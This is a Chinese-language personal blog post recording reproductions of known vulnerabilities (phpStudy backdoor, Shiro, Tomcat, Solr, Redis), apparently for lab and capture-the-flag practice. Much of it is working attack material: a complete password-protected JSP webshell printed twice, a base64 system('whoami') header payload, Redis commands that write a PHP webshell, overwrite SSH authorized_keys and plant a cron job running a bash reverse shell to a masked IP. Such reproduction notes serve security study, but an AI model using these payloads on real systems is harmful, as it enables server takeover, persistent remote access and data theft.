- 個人漏洞復現記錄以及
EXP撰寫,
漏洞庫
phpstudy
- 實測2016的PHP-5.4,2018的PHP-5.2.17和PHP-5.4.45都存在此漏洞
- 注意請求頭的
Accept-Encoding后應去掉空格,Accept-Charset后值為base64編碼,c3lzdGVtKCd3aG9hbWknKTs=解密為system('whoami');注意后面有分號

Shiro RCE(cve-2016-4437)
環境搭建
- 基于
Docker,一鍵搭建,然后訪問本地http://127.0.0.1:9000/
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 9000:8080 medicean/vulapps:s_shiro_1

BurpSuite Check Tools
- 還沒找到合適的Burp插件,可以手動添加欄位
rememberMe,有回顯則是shiro框架

EXP
- 帶UI的Tools 無UITools(選擇攻擊方式,然后x=whoami)

Tomcat Rce(CVE-2020-1938)
環境搭建
- 基于
Docker,一鍵搭建,影響Apache Tomcat 6,7 < 7.0.100,8 < 8.5.51,9 < 9.0.31.
docker pull duonghuuphuc/tomcat-8.5.32
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32


EXP
- EXP,無腦EXP直接打就完事

Tomcat WAR BackDoor
- 復現環境---BUUOJ
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
- 訪問后臺路徑
/manager/html/發現弱口令tomcat tomcat,登錄后上傳war檔案(將上面代碼寫入shell.jsp,再壓縮成zip檔案,最后更改shell.zip為401.war即可)



Tomcat PUT(CVE-2017-12615)
- 復現環境----BUUOJ
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

EXP
- 這里就不貼了吧,后面直接上傳GitHub,雖然這個洞幾乎都沒得了,但是仔細一點總沒錯嘛!

Solr RCE(CVE-2019-17558)
環境搭建
- 基于
vulhub的docker環境包.影響Apache Solr 5.0.0版本至8.3.1,漏洞原因,params.resource.loader.enabled配置不當,我們可以自定義模板,從而任意執行命令
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-17558/
docker-compose up -d

- 發現方式可目錄掃描或埠掃描(注意普通方式可能不會發現
8983埠),

EXP
- 不知道為啥網上的EXP打不通,于是乎自己寫了一個,后面會都放在GitHub.

- 首先查看有哪些
core name

- 更改
params.resource.loader.enabled配置

- 查看是否更改成功

Redis Getshell(Linux)
環境搭建
Ubuntu系統,一鍵式安裝,更改配置為未授權.然后啟動服務即可
sudo apt install gcc && wget http://download.redis.io/releases/redis-5.0.3.tar.gz && tar -zxvf redis-5.0.3.tar.gz && cd redis-5.0.3 && make
- 修改
Redis啟動組態檔redis.conf,將bind 127.0.0.1改為bind 0.0.0.0,關閉保護模式,protected-mode yes改為``protected-mode no`,最后保存退出. - 啟動服務
sudo ./redis-server ../redis.conf
Webshell


config set dir /var/www/html/
config set dbfilename info.php
set payload "<?php phpinfo();?>"
save
SSH公私鑰
- 生成公私鑰,連續三次回車即可
ssh-keygen -t rsa


config set dir /home/forever404/.ssh/
config set dbfilename authorized_keys
set payload "\n\n\nid_rsa.pub\n\n\n"
save
定時計劃反彈Shell
- 注意這個需在
Centos上方可實作,Ubuntu上親測不可以,碼.sudo systemctl stop firewalld.service關閉防火墻,


config set dir /var/spool/cron/
config set dbfilename root
set paylaod "\n\n\n* * * * * bash -i >& /dev/tcp/172.x.x.x/8888 0>&1\n\n\n"
save
主從復制
- 這個
Redis的版本必須是4.0-5.0之間,顯然看出來上面幾種方法都會留下"痕跡",且要求路徑,和檔案寫入權限等,于是乎有了新的利用方式.Redis-RCE,redis-post-exploitation.pdf.

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/261280.html
標籤:其他
上一篇:利用Metasploit 打入ThinkPHP內網...
下一篇:API工具的三個基本功能
